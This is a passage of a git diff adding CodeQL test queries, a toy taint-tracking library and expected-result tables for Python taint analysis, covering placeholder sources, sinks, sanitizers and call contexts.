b/python/ql/test/library-tests/taint/extensions/TestStep.ql new file mode 100644 index 00000000000..4623101a957 --- /dev/null +++ b/python/ql/test/library-tests/taint/extensions/TestStep.ql @@ -0,0 +1,11 @@ +import python + +import ExtensionsLib + + +from TaintedNode n, TaintedNode s +where s = n.getASuccessor() +select + n.getTrackedValue(), n.getLocation().toString(), n.getNode().getNode().toString(), n.getContext(), + " --> ", + s.getTrackedValue(), s.getLocation().toString(), s.getNode().getNode().toString(), s.getContext() diff --git a/python/ql/test/library-tests/taint/extensions/visitor.py b/python/ql/test/library-tests/taint/extensions/visitor.py new file mode 100644 index 00000000000..c68867319ef --- /dev/null +++ b/python/ql/test/library-tests/taint/extensions/visitor.py @@ -0,0 +1,27 @@ + + +class Visitor(object): + '''Visitor pattern ''' + + def __init__(self, labels): + self.labels = labels + self.priority = 0 + + def visit(self, node, arg): + """Visit a node.""" + method = 'visit_' + node.__class__.__name__ + getattr(self, method, self.generic_visit)(node, arg) + + def generic_visit(self, node, arg): + pass + + def visit_Class(self, node, arg): + return arg + + def visit_Function(self, func, arg): + pass + +v = Visitor() + +x = v.visit(dont_care, SOURCE) +x diff --git a/python/ql/test/library-tests/taint/general/Contexts.expected b/python/ql/test/library-tests/taint/general/Contexts.expected new file mode 100644 index 00000000000..e78a0d94abd --- /dev/null +++ b/python/ql/test/library-tests/taint/general/Contexts.expected @@ -0,0 +1,31 @@ +| carrier.py:17 | Function __init__ | +| carrier.py:25 | Function __init__ | +| carrier.py:25 | Function hub | +| carrier.py:29 | Function hub | +| carrier.py:33 | Function __init__ | +| deep.py:6 from deep.py:9 from deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | Function f1 | +| deep.py:9 from deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | Function f2 | +| deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | Function f3 | +| deep.py:15 from deep.py:18 from deep.py:20 | Function f4 | +| deep.py:18 from deep.py:20 | Function f5 | +| deep.py:20 | Function f6 | +| rockpaperscissors.py:13 | Function rock | +| rockpaperscissors.py:16 | Function paper | +| rockpaperscissors.py:21 | Function scissors | +| rockpaperscissors.py:26 | Function scissors | +| rockpaperscissors.py:31 | Function paper | +| rockpaperscissors.py:32 | Function paper | +| sanitizer.py:10 | Function isEscapedSql | +| sanitizer.py:17 | Function isValidCommand | +| test.py:21 | Function sink | +| test.py:25 | Function sink | +| test.py:47 from test.py:55 | Function sink | +| test.py:51 from test.py:63 | Function sink | +| test.py:51 from test.py:70 | Function sink | +| test.py:55 | Function sink2 | +| test.py:63 | Function sink3 | +| test.py:70 | Function sink3 | +| test.py:77 | Function hub | +| test.py:116 | Function hub | +| test.py:117 | Function x_sink | +| test.py:121 | Function hub | diff --git a/python/ql/test/library-tests/taint/general/Contexts.ql b/python/ql/test/library-tests/taint/general/Contexts.ql new file mode 100644 index 00000000000..c0a63c5f228 --- /dev/null +++ b/python/ql/test/library-tests/taint/general/Contexts.ql @@ -0,0 +1,9 @@ + +import python +import semmle.python.security.TaintTest +import TaintLib + +from CallContext context, Scope s +where exists(CallContext caller | caller.getCallee(_) = context) and context.appliesToScope(s) +select context, s.toString() + diff --git a/python/ql/test/library-tests/taint/general/ModuleAttribute.expected b/python/ql/test/library-tests/taint/general/ModuleAttribute.expected new file mode 100644 index 00000000000..b13f01db429 --- /dev/null +++ b/python/ql/test/library-tests/taint/general/ModuleAttribute.expected @@ -0,0 +1,4 @@ +| Module deep | x | Taint simple.test | | deep.py:20 | +| Module module | dangerous | Taint simple.test | | module.py:3 | +| Module test | module | Attribute 'dangerous' taint simple.test | | test.py:85 | +| Module test | unsafe | Taint simple.test | | test.py:155 | diff --git a/python/ql/test/library-tests/taint/general/ModuleAttribute.ql b/python/ql/test/library-tests/taint/general/ModuleAttribute.ql new file mode 100644 index 00000000000..6daca6cda1b --- /dev/null +++ b/python/ql/test/library-tests/taint/general/ModuleAttribute.ql @@ -0,0 +1,10 @@ +import python +import semmle.python.security.TaintTest +import TaintLib + + +from ModuleObject m, string name, TaintedNode origin + +where TaintFlowTest::module_attribute_tainted(m, name, origin) + +select m.toString(), name, origin.getTrackedValue(), origin.getContext(), origin.getLocation().toString() diff --git a/python/ql/test/library-tests/taint/general/ParamSource.expected b/python/ql/test/library-tests/taint/general/ParamSource.expected new file mode 100644 index 00000000000..d085cd7d178 --- /dev/null +++ b/python/ql/test/library-tests/taint/general/ParamSource.expected @@ -0,0 +1,6 @@ +| test | carrier.py:4 | 18 | Attribute | test | +| test | test.py:12 | 13 | arg | test | +| test | test.py:46 | 13 | arg | test | +| test | test.py:49 | 13 | arg | test | +| test | test.py:72 | 78 | t | test | +| test | test.py:72 | 83 | t | test | diff --git a/python/ql/test/library-tests/taint/general/ParamSource.ql b/python/ql/test/library-tests/taint/general/ParamSource.ql new file mode 100644 index 00000000000..664fd8b77e5 --- /dev/null +++ b/python/ql/test/library-tests/taint/general/ParamSource.ql @@ -0,0 +1,53 @@ +import python +import semmle.python.security.TaintTracking + +/* Standard library sink */ +import semmle.python.security.injection.Command + +class TestKind extends TaintKind { + TestKind() { + this = "test" + } + +} + +class CustomSource extends TaintSource { + + CustomSource() { + exists(Parameter p | + p.asName().getId() = "arg" and + this.(ControlFlowNode).getNode() = p + ) + } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof TestKind + } + + override string toString() { + result = "Source of untrusted input" + } + +} + +class SimpleSink extends TaintSink { + + override string toString() { result = "Simple sink" } + + SimpleSink() { + exists(CallNode call | + call.getFunction().(NameNode).getId() = "SINK" and + this = call.getAnArg() + ) + } + + override predicate sinks(TaintKind taint) { + taint instanceof TestKind + } + +} + +from TaintSource src, TaintSink sink, TaintKind srckind, TaintKind sinkkind + +where src.flowsToSink(srckind, sink) and sink.sinks(sinkkind) +select srckind, src.getLocation().toString(), sink.getLocation().getStartLine(), sink.(ControlFlowNode).getNode().toString(), sinkkind diff --git a/python/ql/test/library-tests/taint/general/TaintLib.qll b/python/ql/test/library-tests/taint/general/TaintLib.qll new file mode 100644 index 00000000000..6eae51f8c48 --- /dev/null +++ b/python/ql/test/library-tests/taint/general/TaintLib.qll @@ -0,0 +1,336 @@ +import python +import semmle.python.security.TaintTracking + + +class SimpleTest extends TaintKind { + + SimpleTest() { + this = "simple.test" + } + +} + +class SimpleSink extends TaintSink { + + override string toString() { result = "Simple sink" } + + SimpleSink() { + exists(CallNode call | + call.getFunction().(NameNode).getId() = "SINK" and + this = call.getAnArg() + ) + } + + override predicate sinks(TaintKind taint) { + taint instanceof SimpleTest + } + +} + +class SimpleSource extends TaintSource { + + SimpleSource() { this.(NameNode).getId() = "SOURCE" } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof SimpleTest + } + + override string toString() { + result = "simple.source" + } + +} + +class SimpleSanitizer extends Sanitizer { + + SimpleSanitizer() { this = "Simple sanitizer" } + + override predicate sanitizingNode(TaintKind taint, ControlFlowNode node) { + node.(CallNode).getFunction().(NameNode).getId() = "SANITIZE" and + taint instanceof SimpleTest + } + +} + +class BasicCustomTaint extends TaintKind { + + BasicCustomTaint() { + this = "basic.custom" + } + + override TaintKind getTaintForFlowStep(ControlFlowNode fromnode, ControlFlowNode tonode) { + tonode.(CallNode).getAnArg() = fromnode and + tonode.(CallNode).getFunction().(NameNode).getId() = "TAINT_FROM_ARG" and + result = this + } + +} + +class BasicCustomSink extends TaintSink { + + override string toString() { result = "Basic custom sink" } + + BasicCustomSink() { + exists(CallNode call | + call.getFunction().(NameNode).getId() = "CUSTOM_SINK" and + this = call.getAnArg() + ) + } + + override predicate sinks(TaintKind taint) { + taint instanceof BasicCustomTaint + } + +} + + +class BasicCustomSource extends TaintSource { + + BasicCustomSource() { this.(NameNode).getId() = "CUSTOM_SOURCE" } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof BasicCustomTaint + } + + override string toString() { + result = "basic.custom.source" + } + +} + +class Rock extends TaintKind { + + Rock() { this = "rock" } + + override TaintKind getTaintOfMethodResult(string name) { + name = "prev" and result instanceof Scissors + } + + predicate isSink(ControlFlowNode sink) { + exists(CallNode call | + call.getArg(0) = sink and + call.getFunction().(NameNode).getId() = "paper" + ) + } + +} + +class Paper extends TaintKind { + + Paper() { this = "paper" } + + override TaintKind getTaintOfMethodResult(string name) { + name = "prev" and result instanceof Rock + } + + predicate isSink(ControlFlowNode sink) { + exists(CallNode call | + call.getArg(0) = sink and + call.getFunction().(NameNode).getId() = "scissors" + ) + } + +} + +class Scissors extends TaintKind { + + Scissors() { this = "scissors" } + + override TaintKind getTaintOfMethodResult(string name) { + name = "prev" and result instanceof Paper + } + + predicate isSink(ControlFlowNode sink) { + exists(CallNode call | + call.getArg(0) = sink and + call.getFunction().(NameNode).getId() = "rock" + ) + } + +} + +class RockPaperScissorSource extends TaintSource { + + RockPaperScissorSource() { + exists(string name | + this.(NameNode).getId() = name | + name = "ROCK" or name = "PAPER" or name = "SCISSORS" + ) + } + + override predicate isSourceOf(TaintKind kind) { + kind = this.(NameNode).getId().toLowerCase() + } + + override string toString() { + result = "rock.paper.scissors.source" + } + +} + +private predicate function_param(string funcname, ControlFlowNode arg) { + exists(FunctionObject f | + f.getName() = funcname and + arg = f.getArgumentForCall(_, _) + ) +} + +class RockPaperScissorSink extends TaintSink { + + RockPaperScissorSink() { + exists(string name | + function_param(name, this) | + name = "rock" or name = "paper" or name = "scissors" + ) + } + + override predicate sinks(TaintKind taint) { + exists(string name | + function_param(name, this) | + name = "paper" and taint = "rock" + or + name = "rock" and taint = "scissors" + or + name = "scissors" and taint = "paper" + ) + } + + override string toString() { + result = "rock.paper.scissors.sink" + } + +} + +class TaintCarrier extends TaintKind { + + TaintCarrier() { this = "explicit.carrier" } + + override TaintKind getTaintOfMethodResult(string name) { + name = "get_taint" and result instanceof SimpleTest + } + + +} + +/* There is no sink for `TaintCarrier`. It is not "dangerous" in itself; it merely holds a `SimpleTest`. */ +class TaintCarrierSource extends TaintSource { + + TaintCarrierSource() { + this.(NameNode).getId() = "TAINT_CARRIER_SOURCE" + } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof TaintCarrier + } + + override string toString() { + result = "taint.carrier.source" + } +} + + +/* Some more realistic examples */ + +abstract class UserInput extends TaintKind { + + bindingset[this] + UserInput() { any() } + +} + +class UserInputSource extends TaintSource { + + UserInputSource() { + this.(CallNode).getFunction().(NameNode).getId() = "user_input" + } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof UserInput + } + + override string toString() { + result = "user.input.source" + } + +} + +class SqlInjectionTaint extends UserInput { + + SqlInjectionTaint() { this = "SQL injection" } + +} + +class CommandInjectionTaint extends UserInput { + + CommandInjectionTaint() { this = "Command injection" } + +} + +class SqlSanitizer extends Sanitizer { + + SqlSanitizer() { this = "SQL sanitizer" } + + /** Holds if `test` shows value to be untainted with `taint` */ + override predicate sanitizingEdge(TaintKind taint, PyEdgeRefinement test) { + exists(FunctionObject f, CallNode call | + f.getName() = "isEscapedSql" and + test.getTest() = call and + call.getAnArg() = test.getSourceVariable().getAUse() and + f.getACall() = call and + test.getSense() = true + ) and + taint instanceof SqlInjectionTaint + } + +} + +class CommandSanitizer extends Sanitizer { + + CommandSanitizer() { this = "Command sanitizer" } + + /** Holds if `test` shows value to be untainted with `taint` */ + override predicate sanitizingEdge(TaintKind taint, PyEdgeRefinement test) { + exists(FunctionObject f | + f.getName() = "isValidCommand" and + f.getACall().(CallNode).getAnArg() = test.getSourceVariable().getAUse() and + test.getSense() = true + ) and + taint instanceof CommandInjectionTaint + } + +} + +class SqlQuery extends TaintSink { + + SqlQuery() { + exists(CallNode call | + call.getFunction().(NameNode).getId() = "sql_query" and + call.getAnArg() = this + ) + } + + override string toString() { result = "SQL query" } + + override predicate sinks(TaintKind taint) { + taint instanceof SqlInjectionTaint + } + +} + + +class OsCommand extends TaintSink { + + OsCommand() { + exists(CallNode call | + call.getFunction().(NameNode).getId() = "os_command" and + call.getAnArg() = this + ) + } + + override string toString() { result = "OS command" } + + override predicate sinks(TaintKind taint) { + taint instanceof CommandInjectionTaint + } + +} diff --git a/python/ql/test/library-tests/taint/general/TaintSanity.expected b/python/ql/test/library-tests/taint/general/TaintSanity.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/library-tests/taint/general/TaintSanity.ql b/python/ql/test/library-tests/taint/general/TaintSanity.ql new file mode 100644 index 00000000000..394c39ce491 --- /dev/null +++ b/python/ql/test/library-tests/taint/general/TaintSanity.ql @@ -0,0 +1,26 @@ +import python +import semmle.python.security.TaintTest +import TaintLib + +from TaintFlowTest::TrackedValue taint, CallContext c, ControlFlowNode n, string what +where +not exists(TaintedNode t | t.getTrackedValue() = taint and t.getNode() = n and t.getContext() = c) and +( + TaintFlowTest::step(_, taint, c, n) and what = "missing node at end of step" + or + n.(TaintSource).isSourceOf(taint.(TaintFlowTest::TrackedTaint).getKind(), c) and what = "missing node for source" + +) +or +exists(TaintedNode t | t.getTrackedValue() = taint and t.getNode() = n and t.getContext() = c + | + not TaintFlowTest::step(_, taint, c, n) and + not n.(TaintSource).isSourceOf(taint.(TaintFlowTest::TrackedTaint).getKind(), c) and what = "TaintedNode with no reason" + or + TaintFlowTest::step(t, taint, c, n) and what = "step ends where it starts" + or + TaintFlowTest::step(t, _, _, _) and not TaintFlowTest::step(_, taint, c, n) and + not n.(TaintSource).isSourceOf(taint.(TaintFlowTest::TrackedTaint).getKind(), c) and what = "No predecessor and not a source" +) + +select n.getLocation(), taint, c, n.toString(), what diff --git a/python/ql/test/library-tests/taint/general/TestNode.expected b/python/ql/test/library-tests/taint/general/TestNode.expected new file mode 100644 index 00000000000..c7ae50289a0 --- /dev/null +++ b/python/ql/test/library-tests/taint/general/TestNode.expected @@ -0,0 +1,222 @@ +| Attribute 'attr' taint explicit.carrier | carrier.py:5 | self | carrier.py:33 | +| Attribute 'attr' taint explicit.carrier | carrier.py:33 | ImplicitCarrier() | | +| Attribute 'attr' taint explicit.carrier | carrier.py:34 | c | | +| Attribute 'attr' taint simple.test | carrier.py:5 | self | carrier.py:17 | +| Attribute 'attr' taint simple.test | carrier.py:5 | self | carrier.py:25 | +| Attribute 'attr' taint simple.test | carrier.py:13 | arg | carrier.py:25 | +| Attribute 'attr' taint simple.test | carrier.py:14 | arg | carrier.py:25 | +| Attribute 'attr' taint simple.test | carrier.py:17 | ImplicitCarrier() | | +| Attribute 'attr' taint simple.test | carrier.py:18 | c | | +| Attribute 'attr' taint simple.test | carrier.py:25 | ImplicitCarrier() | | +| Attribute 'attr' taint simple.test | carrier.py:25 | hub() | | +| Attribute 'attr' taint simple.test | carrier.py:26 | c | | +| Attribute 'dangerous' taint simple.test | test.py:85 | ImportExpr | | +| Attribute 'dangerous' taint simple.test | test.py:88 | module | | +| Attribute 'dangerous' taint simple.test | test.py:92 | module | | +| Attribute 'dangerous' taint simple.test | test.py:96 | module | | +| Attribute 'dangerous' taint simple.test | test.py:100 | module | | +| Attribute 'dangerous' taint simple.test | test.py:110 | module | | +| Attribute 'dangerous' taint simple.test | test.py:115 | module | | +| Attribute 'dangerous' taint simple.test | test.py:155 | ImportExpr | | +| Attribute 'x' taint simple.test | test.py:72 | arg | test.py:116 | +| Attribute 'x' taint simple.test | test.py:73 | arg | test.py:116 | +| Attribute 'x' taint simple.test | test.py:105 | arg | test.py:117 | +| Attribute 'x' taint simple.test | test.py:106 | arg | test.py:117 | +| Attribute 'x' taint simple.test | test.py:110 | t | | +| Attribute 'x' taint simple.test | test.py:111 | t | | +| Attribute 'x' taint simple.test | test.py:115 | t | | +| Attribute 'x' taint simple.test | test.py:116 | hub() | | +| Attribute 'x' taint simple.test | test.py:116 | t | | +| Attribute 'x' taint simple.test | test.py:117 | t | | +| Taint Command injection | sanitizer.py:3 | arg | sanitizer.py:10 | +| Taint Command injection | sanitizer.py:5 | arg | sanitizer.py:17 | +| Taint Command injection | sanitizer.py:9 | user_input() | | +| Taint Command injection | sanitizer.py:10 | x | | +| Taint Command injection | sanitizer.py:11 | x | | +| Taint Command injection | sanitizer.py:13 | x | | +| Taint Command injection | sanitizer.py:16 | user_input() | | +| Taint Command injection | sanitizer.py:17 | x | | +| Taint Command injection | sanitizer.py:20 | x | | +| Taint Command injection | sanitizer.py:24 | user_input() | | +| Taint Command injection | sanitizer.py:25 | x | | +| Taint Command injection | sanitizer.py:26 | x | | +| Taint Command injection | sanitizer.py:28 | x | | +| Taint Command injection | sanitizer.py:31 | user_input() | | +| Taint Command injection | sanitizer.py:32 | x | | +| Taint Command injection | sanitizer.py:33 | x | | +| Taint Command injection | sanitizer.py:35 | x | | +| Taint SQL injection | sanitizer.py:3 | arg | sanitizer.py:10 | +| Taint SQL injection | sanitizer.py:5 | arg | sanitizer.py:17 | +| Taint SQL injection | sanitizer.py:9 | user_input() | | +| Taint SQL injection | sanitizer.py:10 | x | | +| Taint SQL injection | sanitizer.py:13 | x | | +| Taint SQL injection | sanitizer.py:16 | user_input() | | +| Taint SQL injection | sanitizer.py:17 | x | | +| Taint SQL injection | sanitizer.py:18 | x | | +| Taint SQL injection | sanitizer.py:20 | x | | +| Taint SQL injection | sanitizer.py:24 | user_input() | | +| Taint SQL injection | sanitizer.py:25 | x | | +| Taint SQL injection | sanitizer.py:26 | x | | +| Taint SQL injection | sanitizer.py:28 | x | | +| Taint SQL injection | sanitizer.py:31 | user_input() | | +| Taint SQL injection | sanitizer.py:32 | x | | +| Taint SQL injection | sanitizer.py:33 | x | | +| Taint SQL injection | sanitizer.py:35 | x | | +| Taint [simple.test] | test.py:168 | List | | +| Taint [simple.test] | test.py:170 | l | | +| Taint [simple.test] | test.py:172 | x | | +| Taint [simple.test] | test.py:174 | l | | +| Taint [simple.test] | test.py:174 | list() | | +| Taint basic.custom | test.py:72 | arg | test.py:121 | +| Taint basic.custom | test.py:73 | arg | test.py:121 | +| Taint basic.custom | test.py:120 | CUSTOM_SOURCE | | +| Taint basic.custom | test.py:121 | TAINT_FROM_ARG() | | +| Taint basic.custom | test.py:121 | hub() | | +| Taint basic.custom | test.py:121 | t | | +| Taint basic.custom | test.py:122 | t | | +| Taint basic.custom | test.py:126 | CUSTOM_SOURCE | | +| Taint basic.custom | test.py:130 | t | | +| Taint basic.custom | test.py:136 | CUSTOM_SOURCE | | +| Taint basic.custom | test.py:142 | t | | +| Taint basic.custom | test.py:146 | CUSTOM_SOURCE | | +| Taint basic.custom | test.py:149 | TAINT_FROM_ARG() | | +| Taint basic.custom | test.py:149 | t | | +| Taint basic.custom | test.py:151 | t | | +| Taint explicit.carrier | carrier.py:4 | arg | carrier.py:33 | +| Taint explicit.carrier | carrier.py:5 | arg | carrier.py:33 | +| Taint explicit.carrier | carrier.py:13 | arg | carrier.py:29 | +| Taint explicit.carrier | carrier.py:14 | arg | carrier.py:29 | +| Taint explicit.carrier | carrier.py:21 | TAINT_CARRIER_SOURCE | | +| Taint explicit.carrier | carrier.py:22 | c | | +| Taint explicit.carrier | carrier.py:29 | TAINT_CARRIER_SOURCE | | +| Taint explicit.carrier | carrier.py:29 | hub() | | +| Taint explicit.carrier | carrier.py:30 | c | | +| Taint explicit.carrier | carrier.py:33 | TAINT_CARRIER_SOURCE | | +| Taint explicit.carrier | carrier.py:34 | Attribute | | +| Taint explicit.carrier | carrier.py:35 | x | | +| Taint paper | rockpaperscissors.py:6 | arg | rockpaperscissors.py:32 | +| Taint paper | rockpaperscissors.py:9 | arg | rockpaperscissors.py:26 | +| Taint paper | rockpaperscissors.py:25 | Attribute() | | +| Taint paper | rockpaperscissors.py:26 | y | | +| Taint paper | rockpaperscissors.py:30 | Attribute() | | +| Taint paper | rockpaperscissors.py:32 | y | | +| Taint rock | rockpaperscissors.py:6 | arg | rockpaperscissors.py:16 | +| Taint rock | rockpaperscissors.py:16 | ROCK | | +| Taint rock | rockpaperscissors.py:19 | ROCK | | +| Taint rock | rockpaperscissors.py:20 | x | | +| Taint rock | rockpaperscissors.py:24 | ROCK | | +| Taint rock | rockpaperscissors.py:25 | x | | +| Taint scissors | rockpaperscissors.py:3 | arg | rockpaperscissors.py:13 | +| Taint scissors | rockpaperscissors.py:6 | arg | rockpaperscissors.py:31 | +| Taint scissors | rockpaperscissors.py:9 | arg | rockpaperscissors.py:21 | +| Taint scissors | rockpaperscissors.py:13 | SCISSORS | | +| Taint scissors | rockpaperscissors.py:20 | Attribute() | | +| Taint scissors | rockpaperscissors.py:21 | y | | +| Taint scissors | rockpaperscissors.py:25 | Attribute() | | +| Taint scissors | rockpaperscissors.py:29 | SCISSORS | | +| Taint scissors | rockpaperscissors.py:30 | x | | +| Taint scissors | rockpaperscissors.py:31 | x | | +| Taint simple.test | carrier.py:4 | arg | carrier.py:17 | +| Taint simple.test | carrier.py:4 | arg | carrier.py:25 | +| Taint simple.test | carrier.py:5 | arg | carrier.py:17 | +| Taint simple.test | carrier.py:5 | arg | carrier.py:25 | +| Taint simple.test | carrier.py:17 | SOURCE | | +| Taint simple.test | carrier.py:18 | Attribute | | +| Taint simple.test | carrier.py:22 | Attribute() | | +| Taint simple.test | carrier.py:25 | SOURCE | | +| Taint simple.test | carrier.py:30 | Attribute() | | +| Taint simple.test | carrier.py:35 | Attribute() | | +| Taint simple.test | deep.py:2 | arg | deep.py:6 from deep.py:9 from deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:3 | arg | deep.py:6 from deep.py:9 from deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:5 | arg | deep.py:9 from deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:6 | arg | deep.py:9 from deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:6 | f1() | deep.py:9 from deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:8 | arg | deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:9 | arg | deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:9 | f2() | deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:11 | arg | deep.py:15 from deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:12 | arg | deep.py:15 from deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:12 | f3() | deep.py:15 from deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:14 | arg | deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:15 | arg | deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:15 | f4() | deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:17 | arg | deep.py:20 | +| Taint simple.test | deep.py:18 | arg | deep.py:20 | +| Taint simple.test | deep.py:18 | f5() | deep.py:20 | +| Taint simple.test | deep.py:20 | SOURCE | | +| Taint simple.test | deep.py:20 | f6() | | +| Taint simple.test | deep.py:22 | x | | +| Taint simple.test | module.py:3 | SOURCE | | +| Taint simple.test | module.py:7 | SOURCE | | +| Taint simple.test | module.py:10 | SOURCE | | +| Taint simple.test | test.py:3 | SOURCE | | +| Taint simple.test | test.py:6 | SOURCE | | +| Taint simple.test | test.py:7 | s | | +| Taint simple.test | test.py:10 | SOURCE | | +| Taint simple.test | test.py:12 | arg | test.py:21 | +| Taint simple.test | test.py:12 | arg | test.py:25 | +| Taint simple.test | test.py:12 | arg | test.py:47 from test.py:55 | +| Taint simple.test | test.py:12 | arg | test.py:51 from test.py:63 | +| Taint simple.test | test.py:12 | arg | test.py:51 from test.py:70 | +| Taint simple.test | test.py:13 | arg | test.py:21 | +| Taint simple.test | test.py:13 | arg | test.py:25 | +| Taint simple.test | test.py:13 | arg | test.py:47 from test.py:55 | +| Taint simple.test | test.py:13 | arg | test.py:51 from test.py:63 | +| Taint simple.test | test.py:13 | arg | test.py:51 from test.py:70 | +| Taint simple.test | test.py:16 | source() | | +| Taint simple.test | test.py:17 | t | | +| Taint simple.test | test.py:20 | SOURCE | | +| Taint simple.test | test.py:21 | t | | +| Taint simple.test | test.py:24 | source() | | +| Taint simple.test | test.py:25 | t | | +| Taint simple.test | test.py:31 | SOURCE | | +| Taint simple.test | test.py:37 | SOURCE | | +| Taint simple.test | test.py:41 | t | | +| Taint simple.test | test.py:44 | source() | | +| Taint simple.test | test.py:46 | arg | test.py:55 | +| Taint simple.test | test.py:47 | arg | test.py:55 | +| Taint simple.test | test.py:49 | arg | test.py:63 | +| Taint simple.test | test.py:49 | arg | test.py:70 | +| Taint simple.test | test.py:51 | arg | test.py:63 | +| Taint simple.test | test.py:51 | arg | test.py:70 | +| Taint simple.test | test.py:54 | source2() | | +| Taint simple.test | test.py:55 | t | | +| Taint simple.test | test.py:62 | SOURCE | | +| Taint simple.test | test.py:63 | t | | +| Taint simple.test | test.py:67 | SOURCE | | +| Taint simple.test | test.py:70 | t | | +| Taint simple.test | test.py:72 | arg | test.py:77 | +| Taint simple.test | test.py:73 | arg | test.py:77 | +| Taint simple.test | test.py:76 | SOURCE | | +| Taint simple.test | test.py:77 | hub() | | +| Taint simple.test | test.py:77 | t | | +| Taint simple.test | test.py:78 | t | | +| Taint simple.test | test.py:88 | Attribute | | +| Taint simple.test | test.py:89 | t | | +| Taint simple.test | test.py:100 | Attribute() | | +| Taint simple.test | test.py:101 | t | | +| Taint simple.test | test.py:106 | Attribute | test.py:117 | +| Taint simple.test | test.py:110 | Attribute | | +| Taint simple.test | test.py:111 | Attribute | | +| Taint simple.test | test.py:115 | Attribute | | +| Taint simple.test | test.py:128 | SOURCE | | +| Taint simple.test | test.py:132 | t | | +| Taint simple.test | test.py:138 | SOURCE | | +| Taint simple.test | test.py:140 | t | | +| Taint simple.test | test.py:148 | SOURCE | | +| Taint simple.test | test.py:149 | t | | +| Taint simple.test | test.py:155 | ImportMember | | +| Taint simple.test | test.py:156 | unsafe | | +| Taint simple.test | test.py:159 | SOURCE | | +| Taint simple.test | test.py:160 | t | | +| Taint simple.test | test.py:163 | SOURCE | | +| Taint simple.test | test.py:164 | s | | +| Taint simple.test | test.py:168 | SOURCE | | +| Taint simple.test | test.py:169 | SOURCE | | +| Taint simple.test | test.py:172 | Subscript | | +| Taint simple.test | test.py:173 | Subscript | | +| Taint {simple.test} | test.py:169 | Dict | | +| Taint {simple.test} | test.py:171 | d | | +| Taint {simple.test} | test.py:173 | y | | +| Taint {simple.test} | test.py:175 | d | | +| Taint {simple.test} | test.py:175 | dict() | | diff --git a/python/ql/test/library-tests/taint/general/TestNode.ql b/python/ql/test/library-tests/taint/general/TestNode.ql new file mode 100644 index 00000000000..967d70e51c1 --- /dev/null +++ b/python/ql/test/library-tests/taint/general/TestNode.ql @@ -0,0 +1,8 @@ +import python +import semmle.python.security.TaintTracking +import TaintLib + + +from TaintedNode n +select n.getTrackedValue(), n.getLocation().toString(), n.getNode().getNode().toString(), n.getContext() + diff --git a/python/ql/test/library-tests/taint/general/TestSanitizers.expected b/python/ql/test/library-tests/taint/general/TestSanitizers.expected new file mode 100644 index 00000000000..2e5b0e4a75e --- /dev/null +++ b/python/ql/test/library-tests/taint/general/TestSanitizers.expected @@ -0,0 +1,2 @@ +| Command sanitizer | Command injection | sanitizer.py:18 | Pi(x_1) [true] | +| SQL sanitizer | SQL injection | sanitizer.py:11 | Pi(x_1) [true] | diff --git a/python/ql/test/library-tests/taint/general/TestSanitizers.ql b/python/ql/test/library-tests/taint/general/TestSanitizers.ql new file mode 100644 index 00000000000..3dca04d581e --- /dev/null +++ b/python/ql/test/library-tests/taint/general/TestSanitizers.ql @@ -0,0 +1,10 @@ + +import python +import semmle.python.security.TaintTracking +import TaintLib + +from Sanitizer s, TaintKind taint, PyEdgeRefinement test +where s.sanitizingEdge(taint, test) +select s, taint, test.getLocation().toString(), test.getRepresentation() + + diff --git a/python/ql/test/library-tests/taint/general/TestSink.expected b/python/ql/test/library-tests/taint/general/TestSink.expected new file mode 100644 index 00000000000..dd169d78f03 --- /dev/null +++ b/python/ql/test/library-tests/taint/general/TestSink.expected @@ -0,0 +1,34 @@ +| Command injection | sanitizer.py:16 | 20 | x | Command injection | +| Command injection | sanitizer.py:31 | 33 | x | Command injection | +| Command injection | sanitizer.py:31 | 35 | x | Command injection | +| SQL injection | sanitizer.py:9 | 13 | x | SQL injection | +| SQL injection | sanitizer.py:24 | 26 | x | SQL injection | +| SQL injection | sanitizer.py:24 | 28 | x | SQL injection | +| basic.custom | test.py:120 | 122 | t | basic.custom | +| basic.custom | test.py:126 | 130 | t | basic.custom | +| basic.custom | test.py:146 | 151 | t | basic.custom | +| explicit.carrier | carrier.py:21 | 22 | Attribute() | simple.test | +| explicit.carrier | carrier.py:29 | 30 | Attribute() | simple.test | +| explicit.carrier | carrier.py:33 | 35 | Attribute() | simple.test | +| rock | rockpaperscissors.py:16 | 16 | ROCK | rock | +| rock | rockpaperscissors.py:24 | 26 | y | paper | +| scissors | rockpaperscissors.py:13 | 13 | SCISSORS | scissors | +| simple.test | carrier.py:17 | 18 | Attribute | simple.test | +| simple.test | module.py:3 | 89 | t | simple.test | +| simple.test | module.py:3 | 106 | Attribute | simple.test | +| simple.test | module.py:3 | 111 | Attribute | simple.test | +| simple.test | module.py:3 | 156 | unsafe | simple.test | +| simple.test | module.py:7 | 101 | t | simple.test | +| simple.test | test.py:3 | 3 | SOURCE | simple.test | +| simple.test | test.py:6 | 7 | s | simple.test | +| simple.test | test.py:10 | 13 | arg | simple.test | +| simple.test | test.py:10 | 17 | t | simple.test | +| simple.test | test.py:20 | 13 | arg | simple.test | +| simple.test | test.py:37 | 41 | t | simple.test | +| simple.test | test.py:62 | 13 | arg | simple.test | +| simple.test | test.py:67 | 13 | arg | simple.test | +| 